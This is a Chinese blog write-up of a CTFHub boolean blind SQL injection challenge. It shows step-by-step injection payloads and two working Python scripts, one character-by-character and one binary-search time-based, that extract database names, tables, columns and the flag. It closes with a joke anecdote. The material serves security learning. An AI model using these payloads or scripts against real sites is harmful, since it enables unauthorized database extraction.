要么改变世界,要么适应世界

SQL注入骚操作之布尔盲注

2022-06-15 13:07:46
91
目录

这段时间学习SQL注入的时候,发现了一个贼有意思的知识点——布尔盲注。该注入方式一般用于页面回显信息只有两种情况的时候,恰好对应布尔值中的turefalse


本文参考自文章SQL注入之布尔盲注

相关函数

布尔盲注主要用三个函数

length(str)

返回字符串str的长度,以字节为单位。

select length('hello'); # 5

substr(string, start, length)

string为字符串;start为起始位置;length为长度。

注意:mysql中的start是从1开始的。

select substr('hello',1,1); # h

ascii(character)

返回字符character ASCII值,如果传入的是一个字符串,则返回其第一个字符的ASCII值。

select ascii('a'); # 97

注入实现

题目来源:ctfhub布尔盲注

打开场景后,输入1或者2,页面都显示query_success,输入3则显示query_error,初步判读是可以进行盲注(别判断了,题目就说了是布尔盲注🙃)。

按照正常流程,我们接下来就是猜数据库名字了,先查一下数据库名字长度:

输入:

1 and length((select database()))=5

发现不行,继续尝试:

1 and length((select database()))=4

果然猜对了,长度是4!👍

下一步,就是精确数据库名字了,用substr函数可以一步一步将数据库名字试探出来,二分法思想先试一下第一个字母的范围:

1 and substr((select database()),1,1) > 'a';

得知,第一个字母比a大,继续:

1 and substr((select database()),1,1) > 'm';

得知,第一个字母比m大,继续:

1 and substr((select database()),1,1) > 's';

得知,第一个不大于s,结合之前的,第一个字母是大于m,小于等于s,不断缩小范围,最后猜出第一个字母是s

如法炮制,最后,得知数据库名字为sqli

猜表名

在此之前,我们先来认识一下group_concat函数,该函数可以将结果进行拼接,以逗号间隔。

1 and length(select group_concat(table_name) from information_schema.tables where table_schema=database())=4

经过漫长地测试,我发现……我逐渐失去了耐心却还没有试出长度😭,不管了,先测试第一个字符吧,我发现页面回显的SQL语句中有一个表名是news,先试一下:

1 and substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,4)='news'

竟然不是!会不会是SQL语句本身就有误?

先看看是不是包含news

1 and locate('news',(select group_concat(table_name) from information_schema.tables where table_schema=database())) > 0

发现语句没问题,那就先看看有没有flag这个表吧:

1 and locate('flag',(select group_concat(table_name) from information_schema.tables where table_schema=database())) > 0

果然有!

猜字段

先猜一下字段总长度:

1 and length((select group_concat(column_name) from information_schema.columns where table_name='flag' and table_schema=database()))>5

小于五,最后试出来是4,盲猜flag😊

1 and (select group_concat(column_name) from information_schema.columns where table_name='flag' and table_schema=database()) ='flag'

果不其然,只有一个字段,字段名为flag

猜内容

先看一下行数:

1 and (select count(*) from flag) =1

确定只有一行!

如果有多行数据,可以使用limit关键字

看看总长度:

1 and length((select * from flag)) > 10

经过漫长地测试,我终于试出来了总长度是32,丧心病狂!!!!😭让我一个一个去测试,那我会崩溃掉的,程序员怎么能做重复无聊的工作呢!

看看前面几个字符是不是ctfhub{

1 and substr((select * from flag),1,7) ='ctfhub{'

好了,下面就是用脚本解决问题了

import requests

if __name__ == '__main__':
    url=r"http://challenge-93e4d1abfb79ed96.sandbox.ctfhub.com:10800/"
    code = ""
    for idx in range(1, 33):
        print('start idx = ', idx)
        for c in range(0, 129):
            Params = {"id":"1 and substr((select * from flag)," + str(idx) + ",1) = '"+ chr(c) +"'"}
            response = requests.get(url = url, params = Params)
            if 'query_success' in response.text:
                code += chr(c)
                print(idx, ' ok ')
                break
    # 由于 mysql 判断的时候不区分大小写,因此code全是大写字母,但是最终答案是小写的
    print(code.lower()) 

6.30更新 换用二分法一次性查询数据库、表名、字段和内容(代码是时间盲注的,但是实际上稍微改一下,本题也适用)

# -*- coding:utf-8 -*-
import requests
import time
def databases(url):
    min, max = 1, 50
    mid = (min + max) // 2
    while min < max:
        starttime = time.time()
        payload = '1 and if(length((select database()))>{}, sleep(2), -1) and 1'.format(str(mid))
        res = requests.get(url + payload)
        if time.time() - starttime > 2:
            min = mid + 1
        else:
            max = mid
        mid = (min + max)//2
    len = mid
    print('database name len = {}'.format(str(len)))
    content = ""
    for i in range(1, len + 1):
        # 可视化字符从 32 到 127
        min, max = 32, 127
        # 二分法加快速度
        mid = (min + max) // 2
        while min < max:
            starttime = time.time()
            payload = '1 and if(ascii(substr(database(),{},1))>{},sleep(2),-1) and 1'.format(str(i),str(mid))
            res = requests.get(url + payload)
            if time.time() - starttime > 2:
                min = mid + 1
            else:
                max = mid
            mid = (min + max)//2
        content += chr(mid)
        print(content)
    print('database name = ', content)
    return content

def tables(url, database):
    min, max = 1, 50
    mid = (min + max) // 2
    while min < max:
        starttime = time.time()
        payload = "1 and if(length((select group_concat(table_name) from information_schema.tables where table_schema='{}'))>{}, sleep(2), -1) and 1".format(database, str(mid))
        res = requests.get(url + payload)
        # print(url + payload)
        if time.time() - starttime > 2:
            min = mid + 1
        else:
            max = mid
        mid = (min + max)//2
    len = mid
    print('tables name len = {}'.format(str(len)))
    content = ""
    for i in range(1, len + 1):
        # 可视化字符从 32 到 127
        min, max = 32, 127
        # 二分法加快速度
        mid = (min + max) // 2
        while min < max:
            starttime = time.time()
            payload = "1 and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='{}'),{},1))>{},sleep(2),-1)and 1".format(database, str(i), str(mid))
            res = requests.get(url + payload)
            if time.time() - starttime > 2:
                min = mid + 1
            else:
                max = mid
            mid = (min + max)//2
        content += chr(mid)
        print(content)
    print('tables name = ', content)
    return content
def columns(url, table):
    min, max = 1, 50
    mid = (min + max) // 2
    while min < max:
        starttime = time.time()
        payload = "1 and if(length((select group_concat(column_name) from information_schema.columns where table_name='{}' and table_schema=database()))>{}, sleep(2), -1) and 1".format(table, str(mid))
        res = requests.get(url + payload)
        # print(url + payload)
        if time.time() - starttime > 2:
            min = mid + 1
        else:
            max = mid
        mid = (min + max)//2
    len = mid
    print('column name len = {}'.format(str(len)))
    content = ""
    for i in range(1, len + 1):
        # 可视化字符从 32 到 127
        min, max = 32, 127
        # 二分法加快速度
        mid = (min + max) // 2
        while min < max:
            starttime = time.time()
            payload = "1 and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='{}' and table_schema=database()),{},1))>{},sleep(2),-1)and 1".format(table, str(i), str(mid))
            res = requests.get(url + payload)
            if time.time() - starttime > 2:
                min = mid + 1
            else:
                max = mid
            mid = (min + max)//2
        content += chr(mid)
        print(content)
    print('columns name = ', content)
    return content
def contents(url, table, column):
    min, max = 1, 50
    mid = (min + max) // 2
    while min < max:
        starttime = time.time()
        payload = "1 and if(length((select {} from {} ))>{}, sleep(2), -1) and 1".format(column, table, str(mid))
        res = requests.get(url + payload)
        # print(url + payload)
        if time.time() - starttime > 2:
            min = mid + 1
        else:
            max = mid
        mid = (min + max)//2
    len = mid
    print('content len = {}'.format(str(len)))
    content = ""
    for i in range(1, len + 1):
        # 可视化字符从 32 到 127
        min, max = 32, 127
        # 二分法加快速度
        mid = (min + max) // 2
        while min < max:
            starttime = time.time()
            payload = "1 and if(ascii(substr((select {} from {} ),{},1))>{},sleep(2),-1)and 1".format(column, table, str(i), str(mid))
            res = requests.get(url + payload)
            if time.time() - starttime > 2:
                min = mid + 1
            else:
                max = mid
            mid = (min + max)//2
        content += chr(mid)
        print(content)
    print('content = ', content)
    return content
if __name__ == '__main__':
    # databases('http://challenge-944c66e37cdc49f7.sandbox.ctfhub.com:10800/?id=')
    # tables('http://challenge-944c66e37cdc49f7.sandbox.ctfhub.com:10800/?id=', 'sqli')
    # columns('http://challenge-944c66e37cdc49f7.sandbox.ctfhub.com:10800/?id=', 'flag')
    contents('http://challenge-944c66e37cdc49f7.sandbox.ctfhub.com:10800/?id=', 'flag', 'flag')

总结

终于把这道题给写出来了,做得有点痛苦,看来以后得多学学sqlmap这个利器了!

经过这一轮学习,发现网络安全真是防不胜防,方寸之间的漏洞都可能被不发分子利用,也说明了网络安全道路任重道远。

最后,写完这道题我想起了之前遇到的一个电脑高手。

很久以前,那还是我用win98的时候,有次我系统崩溃了,因为我是电脑白痴,我朋友给我介绍了一个高手来帮我修电脑。他看了一下电脑,问我有没有98的盘,我说没有。他想了一下,叫我把固定电话拿给他,我想修电脑要电话干什么,但人家是高手,我也不好说什么,就把电话拔下来给他了。他把电话线空着的一头接在电脑的一个插孔内,然后进入了dos,然后就开始在电话上不停的按着键,他按键的速度非常快,但是只按0,1两个键,我搞不懂这有什么用,但也不敢问,看了半个多小时,他还是不停的按这两个键,我渐渐的有些困,我问他这东西要搞多久,他说要几个小时,我给他倒了杯茶,就一个人去隔壁睡觉了。醒来的时候,一看已经过了4个多小时,我起身到隔壁,看见他正在98里面调试,过了一会儿,他说,你试试,我坐上椅子用了一下,真的好了,我当时也不懂电脑,谢过人家就走了。后来我慢慢对电脑有了了解,终于了解,原来当时那位高手是用机器语言编了一个98系统,我后来问我朋友那位高手的下落,我朋友说前几年去了美国IBM之后,杳无音讯……我很想他,如果谁遇到了,请给我发个短信……


黑帽白帽,就在一念之间!


我的博客即将同步至腾讯云开发者社区,邀请大家一同入驻:https://cloud.tencent.com/developer/support-plan?invite_code=10nbs9vhzhpuf

历史评论
开始评论